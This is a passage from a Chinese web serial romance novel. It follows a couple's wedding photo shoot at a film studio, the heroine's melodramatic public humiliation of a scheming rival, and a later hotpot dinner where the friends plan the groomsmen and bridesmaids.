韩城还想叭叭,黎云笙轻飘飘看他一眼,韩城瞬间噤声十分委屈。 他们几个本来就是看美照的,黎云笙自然知道这几个都不喜欢颜佳雨,现在看他想跟温栩栩定下来所以来看戏的,也不管他们跟不跟着胡闹了。 韩城没羞没臊这回抛弃了自己的小老婆摩托车挤进黎云笙和温栩栩的车里,好在没丧心病狂在俩人中间挡着。 可这位爷坐在前排都要做一个世界上最亮的灯泡,一直扭头双手扒着椅座往后看温栩栩,最后为了图方便把安全带摘了路上还遇到警员,唐大少被批评教育了一顿才老实了。 董婉婉把拍摄的地点定在影视城内城区宫殿区域,现在天气有点冷,温栩栩也被冻的哆嗦了下不停的搓手掌,好在这身红嫁衣很厚实也挡风。 第643章 好浓的绿茶味儿 下了车温栩栩就忍不住一直瞧黎云笙。 她穿红嫁衣黎云笙也穿了古代男子娶亲的衣服,为了这个造型还带了头套上了妆。 黎云笙黑色头套的长发束在脑后,凉风吹得他发丝飞扬,那张五官优越到精致的脸让她看了心里就小鹿乱撞。 韩越江行舟几人早早的就订了热饮,人手一杯,不喝也能捂捂手,这几个人也不从车上下来吹冷风,车上开个小窗看黎云笙和温栩栩在寒风里拍婚纱照,突然就不那么羡慕了。 作为摄影师的董婉婉可不嫌冷,对准两人拍了一张又一张照片,拍着内心还不忘疯狂尖叫。 在银杏树这边取完景又到凉亭那边和池塘边拍,拍完这些才转移阵地换去另一个地方拍摄。 颜佳雨最近身心俱疲,经纪人的事还没有搞定,每天都提心吊胆的担心被人抓走,休息了好多天这才被人请出来接了个友情客串的古装角色,因为是夜戏所以到下午才到影视城,没想到不凑巧的遇到一身红嫁衣盛装打扮的温栩栩。 颜佳雨眼皮一跳,透过车窗看到温栩栩坐在一辆车上,那辆车开向宫殿区域的方向。 温栩栩来这地方干什么?难道这剧组不光请了她还请了温栩栩? 颜佳雨脸色一变不顾经纪人的阻拦让司机跟上那几辆车。 可眼见那辆车后面还跟了几辆豪车,且那车牌号还十分眼熟……颜佳雨心里有点慌了。 直到一个身姿挺拔的男人小心的扶着温栩栩让她下车。 她远远的望着瞧着,却觉得那穿着喜服的男人侧脸十分眼熟,眼熟到让她心头呕血。 是黎云笙。 他们两个穿成这样来影视城……难道是来拍婚纱照吗!这怎么可能! 颜佳雨觉得浑身都是冷的。 她只是看着那两人,只是这样看着都觉得那两人浑身上下都写满了般配。 她怎么都不能明白,黎云笙不喜欢温栩栩为什么还要为了她做到这份儿上,她不就是她的心脏供体吗。 颜佳雨僵硬的扯动唇角,逼着自己笑出来,可她笑的有几分狞色,此刻就盯着温栩栩,盯到眼睛酸涩难耐。 温栩栩远远的就看到颜佳雨,故意跌到黎云笙怀里紧抓着他衣袖:“婉婉姐,就这个姿势再拍几张。” 董婉婉听了赶紧抓取最好的角度拍摄,“咔嚓”声中温栩栩变换姿势做出一副挑逗姿态捏住男人下颌去亲吻,这姿势带了几分艳情之意。 颜佳雨心里恨恨的望着这一幕,想冲上去把温栩栩从黎云笙怀里扯出来撕烂她那张嚣张的嘴脸。她这么想的却不敢真的这么做。 “云笙,温栩栩,你们这是在拍什么呢。”颜佳雨脸上挂着笑虚伪至极的开口。 温栩栩眼含笑意在黎云笙唇角亲了亲,察觉到男人视线一直在她身上这才缓缓在他耳边低喃:“如果我欺负了你的这位青梅该怎么办。” 黎云笙腾出空来瞥了颜佳雨一眼,以前那种看似浓烈的感情好像一夕之间倾泻干净,只留出一隅天地置放对她的情感。 “你不受欺负就好。”他想也不想的开口。 这些年他对颜佳雨做的够多了,面对以后可以跟他共度余生的人和一个不怎么重要的前青梅那自然是妻子更重要。 温栩栩听闻仔细的看了他许久,见男人脸上没有半分不虞和不耐方才重展笑颜低声与他说:“我们阿笙哥哥好狠心呢,这就把你最在乎的情妹妹丢了?” “只有你。”他拧眉低语。 他承认曾经对颜佳雨有动过别的心思,但两人一直没捅破那窗户纸也从没真的在一起,最多也不过是年少时牵了个手,所以他说只有温栩栩就真的只有温栩栩一个人。 温栩栩眉眼弯弯的抱住男人脖子,黎云笙俯下身配合她,一手揽住她的腰。 董婉婉眼睛亮晶晶的不停拍照,颜佳雨心里恨的不行,看了这么久还是忍不住的上前几步让他们再不能忽略自己。 “云笙温栩栩你们在这里做什么呢。”她又问。 温栩栩眼含笑意的偏头看她:“年纪轻轻的怎么眼睛就瞎了呢。” 颜佳雨的经纪人都呆了,韩城噗嗤一声在车里呋呋呋的笑,温栩栩轻飘飘朝他望过去,韩城忍着笑清嗓子:“那什么,嫂子我也是受过专业训练的,一般情况下不会笑的,这也实在是没忍住,不用理我您继续,您继续啊。” 怼颜佳雨?那他可太有兴致了,简直高兴的想打电话把全A市的狗仔记者全叫过来三百六十度无死角的拍摄颜佳雨在温栩栩面前如何吃瘪的。 颜佳雨垂眸略有些落寞,韩城都肯喊温栩栩“嫂子”了?她怎么配! 她内心狰狞面上却有些伤心:“温栩栩,我只是在影视城遇到你和云笙所以才想来打个招呼跟你们叙叙旧。” 韩城嗤笑好几声:“好浓的绿茶味儿呦——” 换做以前黎云笙早就拦着韩城让他闭嘴了,可这次黎云笙面无表情恍若未闻。 温栩栩站直身体握着男人的手轻拽着,“韩城你胡说什么呢,她那几块钱的绿茶能有我的茶味儿浓?” 韩城一噎拱了拱手闭嘴看戏了。 温栩栩也不走过去,就站在黎云笙身边看她笑话:“颜佳雨,但凡是个脑子正常点的人都能猜到我们在这里做什么,拍婚纱照看不出来?你装什么天真无邪三岁幼童,也不看看你满肚子坏水配不配。” “你怎么能这么说话,你是明星,云笙是黎氏总裁,我看你们两个出现在影视城所以才想来打声招呼……”颜佳雨脸色难看。 温栩栩收了笑意:“我是明星,阿笙是黎氏总裁?我记得我早就告诉你我是他的妻子,我们穿着喜服在这里拍照不是拍婚纱照难道拍戏吗,颜佳雨,卖蠢装傻也要有个度才对。” “再说,你也不需要来跟我打招呼,我见了你就犯恶心前天的饭都要吐出来,所以有事没事别往我跟前凑,我嫌晦气。” 第644章 背叛者也有脸说别人绝情 “你怎么能这么说话。”颜佳雨也没想到温栩栩这么不给她面子直接打她的脸。 温栩栩掀唇:“还伸长脖子看我老公呢?他不会管你的,以前我还看在他在乎你的份上给你点面子,可现在……我们没人给你脸。” 颜佳雨一直望着黎云笙,好像这样再坚持几秒他就能给她回应替她出头,可这次没有……他就任由温栩栩撕破她的伪装对她冷嘲热讽。 颜佳雨心口阵阵发疼,她眼眶红了:“温栩栩,你不要太欺负人。” “这就哭了?”温栩栩像是觉得没劲:“你自己背地里做了那么多恶心人的事我还没哭你一个犯罪分子还委屈哭了?影后就是影后,眼泪说下来就下来,不知道的还真以为你被谁欺负了。” 颜佳雨胸口呼吸都被气的一滞:“你到底胡说些什么。” 温栩栩恶劣的勾起唇角,潋滟的桃花眼闪过一丝危险的冷光:“怎么,真要我一桩桩一件件的都说出来?” 她掩面讥讽:“我怕我全说了你又要哭鼻子了。” 韩城“唔呼”一声吹了声口哨支持温栩栩。 颜佳雨被气懵了,她是真的被气哭了。 “云笙!你就这么眼睁睁看着温栩栩欺负我吗!我们可是一起长大的交情!” 以前谁都不能在她这里说难听话,可现在温栩栩当着她面说这些黎云笙拦也不拦! 温栩栩眼底的冰冷嘲意都要漫出来,手被黎云笙紧紧握住。 温栩栩想如果黎云笙这次还要护着颜佳雨这婚纱照也不拍了,婚礼也不办了,才想到这里就听到耳边男人低缓的声音响起。 “不看着她欺负你难道还帮你欺负她?”黎云笙眼底冷意遮也不遮,看着她时好像在看没有感情的陌生人:“颜佳雨,我们一起长大的交情在这些年已经被你自己磨完卖光了,在你选择黎云浩那天我们就已经不再是朋友。” 他漆黑深邃的眼眸半点柔意都没有,像是担心她听不清特意复述道:“听懂了吗。” 温栩栩眼底浮现出一抹笑意,她扬着唇摇了摇两人紧握在一起的手。 颜佳雨却不能接受,愣愣的望着黎云笙。 听懂了吗?听懂什么了?她什么都听不懂! “你不能因为我选择云浩就这样对我……我们从小一起长大……”她眼里含泪不能接受这事实。 经纪人有些难堪脸红的小声提醒颜佳雨别把事情闹大先走再说,颜佳雨却不知道哪根弦被触到了:“走什么?该走的人不是我,是温栩栩插到我们之间影响了我和云笙的感情,该走的人是温栩栩。” 韩城都被气笑了:“呦,颜小姐真厉害啊,怎么您这是想在新社会当颜女皇让黎云浩和云笙都当你男人呢?怎么你这么能耐不把哥几个都看成你囊中物呢。” 韩城就没见过这么不要脸的人。 颜佳雨还是那副悲痛模样望着黎云笙,只想等他的回答。 黎云笙皱紧眉很是不耐,温栩栩却抬眸对他一笑安抚他这才抬高声音话中带了几分不屑:“圈外人不知道黎云浩和阿笙的关系也就罢了,可你跟阿笙一起长大就没听人提过他们根本不是同父同母?你在阿笙身边一直提起黎云浩是多优秀的兄长,可黎云浩的母亲伤害了阿笙的母亲,你说你跟他一起长大却往他伤口上不停撒盐。” “你黏着阿笙还要应付黎云浩,你真以为我不知道你心里怎么想?不就是想看谁有能力成为黎氏继承人?你以为阿笙病弱活不了多久所以义无反顾选择黎云浩。” “在你眼里阿笙算什么?对你百依百顺最好用的棋子,他能给你圈内最好的资源,还能为你扫清一切障碍,甚至去世后还能给你和黎云浩留下大笔遗产。你说阿笙是你从小一起长大的朋友倒不如说你把他当成一条永远对你忠诚的狗。”温栩栩心口的怒意压也压不住。 “颜佳雨你是个什么人呢?阿笙帮你那么多,可你从不感恩只会自私的希望有朝一日嫁给黎家未来真正的继承人。你觉得你自己不争不抢不利用却利用阿笙成为圈内顶流影后!你真以为你配当影后吗!当年那个奖真是你凭实力得来的?你的粉丝夸你是顶流影后,可是圈内知道内情的都在嘲讽你是‘水后’。” 温栩栩一字一句都往颜佳雨心口戳,怎么痛怎么戳。 “阿笙为你做了这么多得到了什么?得到了你的敷衍以待和得寸进尺放大的贪婪的野心,我不知道你为什么还能有这个脸在我和阿笙面前讲什么道理,从你在那场宴会那晚做出选择开始你就不配再做阿笙的朋友,你们已经是敌非友。” 温栩栩早就想用这些话来怼颜佳雨,以前黎云笙一直护着她,现在能骂当然要骂个过瘾。 颜佳雨被骂傻了,唇瓣哆嗦还是不敢相信黎云笙真的不肯管她。 她眼里含泪望向他却没能得到任何回应,她心底一寒:“云笙,你真的不肯管我了吗。” 黎云笙眼神冰冷,颜佳雨现在是真的相信黎云笙不肯再管她了。 她有些迷茫又有些慌,温栩栩看她这副模样凉凉开口:“颜影后以后见了我们最好绕道走,不然我不知道会爆出点什么料,你也不想真的进去待几年吧。”这话就是赤裸裸的威胁了。 颜佳雨抿唇咬着下唇终还是硬撑着一口气道:“我的今天就是你的明天。云笙能这么绝情的对我以后就能这么绝情的对你。” 温栩栩抱着双臂眯着眼睛骂她:“你是不是有病。” 温栩栩手指戳着男人胸口:“他是我老公,你又是个什么东西跟我说今天明天?你什么身份我什么身份在这里跟我相提并论?” 颜佳雨被她噎住了,却又听温栩栩冷笑:“一个背叛者也有脸说别人绝情。” 背叛者三个大字像是一座大山压倒她头顶将她整个人压扁透不过气。 她甚至想自己为什么要想不开一定要过来?为什么经纪人让她离开的时候不肯离开还留在这里被温栩栩针对辱骂? 第645章 心盲眼盲 颜佳雨眼底蓄满了泪水,正有眼泪要从眼角滑落就听到韩城的爆笑声。 “骂得好!嫂子你以后见了这种女人就骂她!给她骂哭骂老实了!”韩城十分高兴。 他早知道颜佳雨不是什么好东西,一直看不上黎云笙宠着她每次刺她一句黎云笙都要给他冷脸,现在好了,有人怼她骂她了。 韩城在那支招:“嫂子!颜佳雨欺负你老公这么多年你不能就这么简单的放过她啊!” 温栩栩挑眉示意他继续说下去。 “我们是大男人不能对女人动手,但你是女人啊!你为自己受欺负的丈夫出气不应该吗!”韩城越说越兴奋就差没伸手指向颜佳雨欢呼大喊“打她打她”。 颜佳雨都懵了,眼泪哗哗往下流,温栩栩却是听取了韩城的建议提着裙摆走到颜佳雨面前。 颜佳雨哭的凶猛结果下一秒就被打了一耳光。 “啪”的一声,声音十分响亮在场众人都能听到这巴掌声,韩城高兴的吹口哨助兴,显然还没看够,继续撺掇温栩栩动手。 颜佳雨捂着脸咬牙,满腔怒火撑不住的爆发出来:“温栩栩!你竟然敢动手打我!” 在她眼里温栩栩就是靠着许愿才能长大还被黎云笙当做下三滥玩物的东西,现在这么个玩意儿对她动手!她配吗! “啪!” 又是清脆的巴掌声甩到颜佳雨脸上,一左一右脸颊都有了巴掌印。 “为什么不敢打你?”温栩栩揉捏着打人的手腕,她虽然在笑,可那笑意不达眼底:“你伤我老公又陷害我,我打你都是轻的。” 温栩栩揪住她的头发扯着逼得她不得不仰起头,她还在哭着此刻十分狼狈可怜,还抱着最后一丝渴望,希望黎云笙能帮她。 温栩栩拽着她头发逼她面向自己:“都这时候了还看我老公?怎么?你是没了男人就不行吗。”温栩栩声音里带着十足的冷意。 温栩栩低头凑到她耳边,声音很小,小到只有两个人能听到:“再打他的主意我就把你送到男人堆里让你好好尝尝那滋味。” 许愿和温栩栩最本质的区别是许愿做事或许还有一些底线,但温栩栩不是,温栩栩疯起来是真的什么都会做。 颜佳雨眼眸闪烁被吓得一抖,温栩栩退开一步,桃花眼微微眯着,唇角明明带着笑意却让人有种不寒而栗的错觉。 温栩栩转身便往回走,她身上那套红嫁衣的为了彰显华贵有拖地的半臂配披帛,一回眸便看到黎云笙手中握着长裙跟在她身后,现在是看都懒得看颜佳雨。 颜佳雨整个人都是呆滞的,有些无措,但是一扭头就对上了一双明明含笑却带着凉意的黑眸。 是许愿。 是许愿! 颜佳雨死死盯着许愿,比起温栩栩,颜佳雨更恨的是许愿这样的人。 在颜佳雨眼里,温栩栩是靠着许愿长大的,后来又出卖身体才得了黎云笙的庇佑,再加之温栩栩最开始就是她的血库,所以她没有将温栩栩放到心上。 可许愿不同。 那些年许愿在许家虽然遭受了不公平对待,但是许愿的母亲是苏青莲。 苏青莲的名字,她当然也是直到的,普通人可能不明白苏青莲有多可怕,但她在娱乐圈待了这么久,接触了不少大人物,怎么可能不清楚当年将多少大家族扳倒并让整洁名流下台入狱的苏青莲? 苏青莲是什么人?心狠手辣睚眦必报却又智商远超常人的天才。 就算现在苏青莲不在了,但苏青莲给那些人的恐惧感还是刻骨铭心的,且苏青莲人虽然不在,但她留下的人脉还在。 苏青莲身边的都是什么人?天才段星河、军政名流刑从景、顾凛,哪一个拎出来不让人害怕惶恐? 而许愿呢? 她虽然跟傅京礼有过一段不幸福的婚姻,却又遇到了盛景炎这个“恋爱脑”,只要她想盛家的一切都可以是许愿的。 许愿本人呢?她研制的抗癌药物和AI智能就已经让她矗立在顶端足以俯瞰众人。 比起温栩栩,颜佳雨更羡慕嫉妒许愿的人生。 羡慕她有苏青莲的基因和容貌,嫉妒苏青莲留给她的人脉,许愿这种人才是对她们这种普通女性毁灭性的打击。 颜佳雨唇瓣颤抖着看着许愿。 许愿鼻梁上架着一副金丝边平光镜,许是才从试验台下来,身上的白大褂都没换,而她身边的赫然就是几乎跟她寸步不离的盛景炎。 难得,颜佳雨心里带着点嘲意。 许愿再厉害又有什么用?她男人还不是个只能坐在轮椅上的残废?她只配跟这样一个废人在一起! “你在想什么。” 许愿冰冷平淡的声音不带感情的传过来。 颜佳雨打了个激灵,再度对上许愿那双冷淡的眸。 “你在看着阿炎的腿笑?”许愿的手搭在盛景炎轮椅扶手上,很轻很轻的敲打了两下,这样轻的动作,颜佳雨本不该听到声音的,可她就觉得有一把锤子在自己胸口一锤一锤的敲打。 “让我猜猜你在想什么。”她的语气平淡,毫无波澜:“你在想,许愿再厉害爱人也只是个……”后面的话许愿没有说出来,只是嘲讽的笑了一声。 许愿俯身,一手搂住盛景炎的脖子,声音里带着点埋怨:“阿炎,你看黎云笙是什么眼光,以前大概似乎瞎了吧,早就该让江惊蛰给他看看,心盲眼盲的。” 黎云笙:“……” 这他喷不了,他也觉得自己以前眼瞎。 温栩栩忍不住的咯咯笑出声,显然是在笑黎云笙。 许愿旁若无人的在盛景炎颊边轻轻的吻了下,然后就这姿势扬眉看向整个人仿佛已经僵住的颜佳雨。 “很不幸,你幸灾乐祸也没用,阿炎已经在复建了,他的腿治疗及时所以治好后不会有任何后遗症,让你失望了。” 颜佳雨舔了舔自己干涸的唇瓣,心口一跳一跳的的,此刻几乎不敢去看许愿。 “许总,您不要开玩笑了,我怎么会这么想……” 第646章 能不能管管你老婆 颜佳雨语无伦次的想解释。 许愿眸光仍然带着凉意:“不要在我面前演戏,你此刻的演技真的很拙劣。” 颜佳雨说不出话了,她的腿像是在发抖,她想转身就走,可就在这时,耳边传来许愿凉薄的声音。 “颜佳雨,还记得我跟你说过什么吗。” “我从来都不是一个好说话的人,不过我对女性一直都是比较宽容的,所以我给了你机会,那么你做好选择了吗。” 许愿说的,颜佳雨当然明白是什么意思。 就是因为明白整个人才更加怨恨。 对女性宽容?宽容吗?如果宽容为什么要逼她短时间内嫁给黎云浩!黎云浩已经不可能继续成为黎氏的继承人了!黎云浩本就是个私生子,她嫁给黎云浩还能有什么未来! 许愿那么为女性着想为什么不为她想! 许愿看着颜佳雨脸上带着的愤恨之意,倏地笑了。 “你在怨恨。” “怨恨什么呢?怨恨我逼你嫁给黎云浩吗?” 许愿眸中带着深意:“可你的爱人不是你自己选的吗,当初黎云笙车祸后你不是马上另投进黎云浩的怀抱,他是你的未婚夫啊,你不嫁给他还要嫁给谁呢?” 一字一句砸在颜佳雨心头。 “我给过你机会,你没有抓住,还做了点什么呢?设计陷害温栩栩?” 许愿笑道:“你该庆幸我是一个遵纪守法的好人,所以不会做出什么突破下限的事,什么断手断脚又或者将你带到中东地区或者缅区,我只会让你伏法。” “我给你的时间已经够多了,最多三天,你的粉丝都会知道她们的颜影后就要成为法制咖,不过我听说女子监狱里面讨厌颜影后的人还挺多的,以后的日子恐怕不好做呢。” 这话才是更恐怖。 许愿已经明白告诉颜佳雨最晚三天就会有人带她进警局,她做的那些事也会公布到网络上,而她分配的监狱一定都是厌恶她的女犯人。 她会在里面遭遇什么? 颜佳雨整张脸白了,她无措的条件反射的去看一直护着他的黎云笙,可对上的却是男人再无感情的冰冷目光。 黎云笙不会再帮她不会再救她了! “云笙……云笙你帮帮我!” 颜佳雨的声音带着惶恐。 她几乎将最后的筹码全都押到黎云笙身上,男人还是那副平静的模样,看她像是看笑话看小丑。 温栩栩更是当着她的面紧紧握住黎云笙的手。 颜佳雨眼底都是悲凉,她的手握成拳,片刻后身体僵硬的跑开,经纪人只能在她后面跟着离开。 温栩栩赶紧到许愿身边,抱住她的手臂不肯放,眼睛都是亮晶晶的。 她就知道阿愿总是会帮她的! 面对她的时候许愿脸上才去了那凉意,看着她笑了笑,笑意都是温柔的。 “阿愿,这是阿笙送我的耳环,我觉得你戴上会更漂亮,送给你!” 那是一副粉钻耳环,一看就是拍卖会上高价拍来的,却被温栩栩这样轻松简单的送给许愿。 黎云笙:“……” 黎云笙忍不住看向盛景炎,几乎是用眼神示意“你能不能管管你老婆。” 盛景炎:“……” 盛景炎微笑的眼神回应:“你怎么不管你老婆。” 黎云笙:“……” 也确实是温栩栩看到许愿直接抛下他就跑过去还主动送东西的,那模样,真的很像送给主人礼物的小猫咪。 怪可爱的,可惜不是送给他,而是送给许愿。 许愿当然不会收黎云笙送给温栩栩的礼物,她忍不住笑着揉了揉温栩栩的发梢:“我哥哥才送了我很多礼物,阿炎也从拍卖会上拍下来很多东西,我的珠宝够多了,黎云笙送你的你自己收好,粉钻耳环很适合你。” 温栩栩的注意力没在许愿不收珠宝上,而在“哥哥”上。 “陆斯年送了你这么多东西吗?那姜明珠不会闹吗?” 温栩栩当然知道许愿有哥哥,但也只知道一个陆斯年。 “不是陆斯年。”许愿回她。 啊?不是陆斯年? “阿愿你什么时候背着我有别的哥哥了?难道是你和盛景炎之间的小情趣吗?你喊他哥哥?” 许愿:“?”虽然是喊过,但不是这么回事啊! 盛景炎:“……”这两个人到底为什么能玩到一起还感情这么好的?他不理解。 盛景炎忍不住去看黎云笙。 黎云笙呵了一声,你不理解他就理解了? 许愿凑到温栩栩耳边小声的提到苏青莲领养唐文晞兄妹三人的事,温栩栩点头点头:“那你岂不是多了两个哥哥一个姐姐了?” 温栩栩其实还是有点失落的。 以前许愿身边最信任的就是她了,可有了盛景炎她可以理解,盛景炎是爱人是不一样的,但唐文晞兄妹三人是外来者,她心里会有一点吃味。 许愿那么了解温栩栩,怎么会猜不到她心里想了什么。 她甚至有些豪迈的一扬手:“没关系,她们以后也是你的哥哥姐姐,全都分给你。” 黎云笙忍不住捏了捏眉心,他现在算是真的知道这两人关系好到什么程度了,好到兄弟姐妹都可以随时共享的。 温栩栩开心了,黎云笙已经走到她身后,伸出手臂揽住她细瘦的腰肢:“温栩栩,还拍不拍婚纱照。” “我想跟阿愿一起拍!”温栩栩想也不想来了这么一句。 黎云笙心里那根弦都要崩裂了。 怎么婚纱照都要跟许愿一起拍了? 黎云笙面无表情的看向许愿,他觉得许愿应该还是头脑清醒的,不会做出跟温栩栩一样离谱的事情来。 许愿歪了歪头,不觉得这是什么大事,挑眉应了。 黎云笙:“……” 他沉默的看向盛景炎,盛景炎目光一直落在许愿身上,唇角笑意都分外明显。 死恋爱脑。 黎云笙为温栩栩定做的婚纱礼服有太多套,温栩栩兴高采烈的去带许愿换衣服,黎云笙抱着手臂不发一言,倒是韩城突然来了句:“这到底是云笙和温栩栩在拍婚纱照还是许愿和温栩栩在拍婚纱照啊。” 看,他讨厌韩城不是没理由的。 谁情商这么低会在这时候说这种话。 第647章 这就是父爱! 许愿和温栩栩身形很像,温栩栩的衣服许愿穿上也刚好合适,温栩栩就跟小尾巴一样跟在许愿身边要跟她拍照。 董婉婉和几个工作人员面面相觑眼里是藏不住八卦的小心思。 其实董婉婉最初不知道温栩栩结婚了,更不知道温栩栩结婚对象是黎氏的黎总,想想网络上黎总跟颜佳雨那些CP粉那些风言风语更觉得颜佳雨恶心。不过温栩栩跟这圈子的人关系竟然这么好,甚至许愿跟她真的像是亲姐妹一样宠她啊。 她们一群人内心全是对她们的八卦,但也没人傻到现在就聊这些,憋着心里的叨叨劲儿继续拍照。 好在许愿没打算拍几张,也就是随着温栩栩的性子留了那么几张,温栩栩这才笑吟吟的继续去跟黎云笙拍照。 “舍得回来了?我还以为你要长在许愿身上了。” 才会去,黎云笙就来了这么一句。 温栩栩捏捏下巴:“也不是不行。” 她还真想呢。 黎云笙啧了一声,赶紧把人抓过来拍照。 镜头中的温栩栩扶稳双手抬起下颌面上没有半分表情,她撇头平淡的眼神落在镜头中,黎云笙单膝跪地手握拖地的裙尾一直望着她的背影,眸中情绪复杂。 这俩人在一起的化学反应绝了,这哪里是婚纱照,随便一张都是大片的节奏! 董婉婉不停换角度拍照,天逐渐暗下来,温栩栩倏而抽出男人手中的裙尾,黎云笙略有些诧异,温栩栩却一步一步靠近她歪着头打量他,唇角像是带上一抹笑意,良久后伸出手捏住男人的下颌抚摸。 董婉婉只知道摁快门了,韩城舔了舔唇十分羡慕的看着这一幕:“我也想拍婚纱照。” 韩城坐的是江行野的车,这会儿就窝在后座,透过窗户往外探头满脸艳羡。 韩越冷不丁来了句:“你想拍结婚照?爷爷马上就能满足你这个愿望。” 这话乍一听像在骂人,但韩城听明白什么意思了。 这是又让他相亲呢。 韩城嗤了一声,“想跟我拍婚纱照的人多了去了,用得着爷爷吗。” 韩越听他吹牛。 韩城道:“我现在就能找个人出来跟我拍婚纱照。” 韩越敷衍的哦了一声没当回事,就听韩城没节操的扭头就喊:“江行舟!我们来拍个照!” “噗”韩越一口水喷出来满脸惊奇看怪物似的看他亲弟。 江行舟很给面子的下车走到韩城身边略微挑了挑眉,韩越一时无言半晌说不出话来,就觉得眼前飘着数不清的蚊香飞来飞去。 他弟韩城喊道:“摄影老师!帮我们拍张照吧!” 董婉婉一顿,温栩栩挑眉看过去,董婉婉果真移动摄像机让两人入镜,镜头中的韩城趴在车窗边,江行野低头看他,眼底似乎有几分情谊在其中。 董婉婉手都跟着抖了下不自然的摁了快门。 “咔嚓”几声,两人的合照被保留下来。 韩越一脸复杂。 拍到太阳落山温度也降下来,韩城乐颠颠在车内磕坚果,碧根果巴旦木还都是奶香味的,车内也一股子甜腻咸香的奶味儿,他边扒坚果壳边吃坚果肉,车内角落内置的小型垃圾桶很快就装满了垃圾。 温栩栩和黎云笙正跟董婉婉交谈,江行野走过去问道:“可以把你拍的我和他的双人照传我一份吗。” 董婉婉当然不会拒绝,加上江行野的微信好友答应今晚回去后把摄像机里的照片传给他。 江行野道了谢。 温栩栩看他的眼神颇有些复杂,她没说话只扭头望向车内开了包薯片的黎大少,她眼角抽了抽为江行野默哀几秒。 颜佳雨客串的那部剧跟陈升有对手戏,颜佳雨现在的状态绝对没办法继续拍戏,经纪人只能跟导演那边说颜佳雨身体不舒服改天再客串,导演率先选了拍别人的戏让陈升提前回附近酒店休息。 助理开车送陈升回酒店,路过那宫殿区域只漫不经心的扫了眼表情就变了。 温栩栩穿着红嫁衣跟黎云笙在拍照……黎云笙又不是演员他们能拍什么照? 只有婚纱照了。 陈升心口有点发堵,但他其实也清楚他喜欢的那个人是林青黛并不是温栩栩。 是他把温栩栩当成林青黛而已。 陈升突然笑起来,他让助理停了车却不下车,只在一旁远远看着他们拍婚纱照,看着看着就有些痴了,忆起林青黛抱住他在他耳边用温柔的声音喊他“陈队”。 他点了根烟抽着,此刻身体陷进座椅里像是一秒放空。 “开车回酒店。”陈升还是出声提醒助理。 车子渐渐驶远,他扭头却已经看不到温栩栩。 他自嘲的勾勾唇角,那是温栩栩不是林青黛,再看也变不成另外一个人,这个梦早该醒了。 陈升垂眸,摁了下手机,锁屏页面的图正是满身华服昳丽多姿的“林青黛”。 他拾起手机放在胸口连连低笑。 晚上韩城起哄去华庭吃饭,董婉婉见这么多大佬有点犯怵找了个借口说要回去工作顺便把照片都导出来,她说这个就没人拦了。 华庭是韩家的产业,韩城大爷似的想把能叫的都叫上来,不过又怕江行野说他浪费粮食干脆让人打火锅。 叫的鸳鸯锅,一个辣锅一个菌汤锅,华庭的汤底都是当天熬制的,这样的清汤端上来能直接盛一碗喝来暖胃。 黎云笙率先给温栩栩盛了一碗汤,温栩栩低头浅尝一口,只喝了一小口尝尝味都觉得这汤底十分鲜美,温栩栩眼睛亮了下觉得好喝也给他盛了一碗。 韩城捂胸口:“不是吧,吃个火锅也要虐我们的吗。” 韩城拿筷子敲桌子:“真当没人肯给我盛汤呢。” 话音才落下眼前就多了一碗汤,是江行野盛好的。 韩城感动的“泪流满面”:“这是什么,这就是父爱!” 温栩栩:“……” 温栩栩一脸古怪的看他,想说什么但看江行野面无表情又觉得他可能就喜欢韩城这么叫。 不是有些男生就喜欢被人叫爸爸吗。 第648章 史上最牛伴郎团 她顿了下在黎云笙耳边问:“你们男生真的喜欢被叫爸爸吗。” 温栩栩在他耳边低喃的喊了两声,眼里都是兴味儿的笑意。 黎云笙给她夹了小块的南瓜饼:“只有你可以叫。” 温栩栩眼睛弯起来:“原来你们真的喜欢这样啊。” 她咬了口酥脆的南瓜饼,两手捧着碗小口喝着还不忘撩拨一句:“那等晚上的。” 韩城吆喝:“你俩能不能行了,大家一起出来吃饭就你俩凑那里说悄悄话。” 黎云笙十分平静:“单身的人不懂。” 韩城开始撸袖子了,他转转眼珠询问:“温栩栩,你们打算要几个伴郎啊。” 这温栩栩倒是没想过。 “你看你是圈内顶流,跟你结婚的又是云笙,你们两个结婚怎么也要热闹点多请点伴郎伴娘才行。”韩城喝完碗里最后一口汤,碗里是江行野刚烫熟的牛肉,他夹着牛肉边吃边说:“我给你算个数啊。” “我,江行野,韩越,江行舟,江恒,盛景炎,这就是六个人了,我觉得六六大顺挺好的。”韩城算的还挺清楚,还特地来了句:“盛景炎那会儿腿肯定好了,绝对没问题。” 黎云笙挑眉:“再加一个陈升。” 温栩栩扭头看他,对他说出陈升这个名字显得十分诧异。 “怎么想起来加陈升?”韩城一脸疑惑:“你跟他也不熟啊。” 黎云笙给她夹了刚煮好的鱼丸,鱼丸是华庭师傅用新鲜鱼肉当天现做的,又嫩又滑入口即化味道也十分鲜美,可这会儿温栩栩尝不出味儿了,支着耳朵擎等着听他要说的话。 黎云笙“呵”了一声:“他喜欢温栩栩。” 他喜欢温栩栩所以让他当伴郎亲眼看温栩栩嫁给他让他彻底死心。 太狠了。 韩城不得不说一句狠。 温栩栩低着头吃东西,生怕这火烧到自己身上来,突然又听韩城问了句:“加上陈升就七个人了,我再找一个?” 韩城看向许愿:“薛酒行吗?” 许愿点头,薛酒就爱凑这热闹。 韩城乐呵道:“那八个伴郎寓意也挺好,伴郎是凑够了,那伴娘都请谁?” “我们团的四个队员,还有以前参加选秀时关系不错的两位朋友,我还想请林律师还有阿愿,可以吗。”温栩栩问黎云笙。 她是很欣赏林菀的。 黎云笙挑眉:“她会答应的,林律师很喜欢你。” 温栩栩笑笑开心了。 如果外人听到温栩栩这伴郎团的阵容肯定目瞪口呆,这就像是把A市上流圈子的优秀青年全都包圆了。 这顿饭吃完回到别墅已经是晚上九点多,温栩栩跟黎云笙说要去隔壁跟队员们说一声要举办婚礼的事。 现在别墅里没了张雯悦也不需要顾虑太多,剩下的四位都是信得过的跟她关系极好的。 温栩栩把队员一起叫下楼说有事宣布。 杜佳安嚷嚷着让秦萌萌从冰箱里拿了瓶脱脂牛奶等着听温栩栩接下来的安排。 “我要结婚了。” 温栩栩这句话说完在场众人眼神各异。 杜佳安啊了一声:“是要跟黎总办婚礼吗!”她们两人十分激动。 不激动也不行,总看网络那群人黑她们队长,可黎氏娱乐一直站在温栩栩身后维护她,每次两人都磕CP磕的嘤嘤叫,这会儿见两人要办婚礼顿时更激动。 秦萌萌却懵了。 “跟黎总办婚礼?是我想的那位黎总吗。”秦萌萌想到的是黎云笙,呼吸都一滞。 温栩栩点头同意,秦萌萌缓了好半天才接受现实。 